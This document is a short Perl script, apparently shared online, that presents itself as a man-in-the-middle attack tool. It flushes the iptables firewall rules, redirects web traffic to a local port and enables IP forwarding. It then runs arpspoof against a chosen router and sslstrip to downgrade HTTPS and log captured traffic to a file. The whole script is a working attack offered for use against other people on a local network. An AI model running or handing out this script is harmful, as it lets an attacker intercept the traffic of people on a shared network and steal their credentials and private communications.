Code
#!usr/bin/perl
use Term::ANSIColor;
############################################################################
print "**************************************************************\n"; #
print "+ -== JULI ==- +\n"; #
print "+ -== Man-in-the-middle Attack Script ==- +\n"; #
print "+ -== By em616 , em(at)em616.com , http://blog.em616.com ==- +\n"; #
print "**************************************************************\n"; #
############################################################################
# Cleaning stuff
system "killall -9 sslstrip arpspoof:";
system "echo '0' > /proc/sys/net/ipv4/ip_forward";
system "iptables --table nat --flush";
system "iptables --flush";
system "iptables --delete-chain";
system "iptables --table nat --delete-chain";
#Making a Firewall, setting iptables roule to redirect port 80 to 5254
print color("bold red"), "Setting up the iptables roulle\n", color("reset");
print color("bold red"), ". . ..\n", color("reset");
system "iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 5254";
#Port Fawarding
print color("bold red"), "Setting up port fawarding on our box\n", color("reset");
system "echo '1' > /proc/sys/net/ipv4/ip_forward";
## Arpspoof Script, must specify your interface and router IP
if ($#ARGV < 0) {
print q{
Enter your interface and router ip, Ex:
en@em616:~$ perl juli.pl wlan0 192.168.0.1
};
exit;
} elsif ($#ARGV < 1) {
print "You have not provided all of the arguments required\n";
print color("bold green"), "perl juli.pl wlan0 192.168.0.1\n", color("reset");
exit;
}
$interface = $ARGV[0];
$getway = $ARGV[1];
print color("bold red"), "Starting arpsoof on interface: $interface ip: $getway \n", color("reset");
system "arpspoof -i $interface $getway & sslstrip -a -k -l 5254 -w Juliscript.log";
print "Script stoped by you , check Juliscript.log if we found anything \n"
# LineAL ;)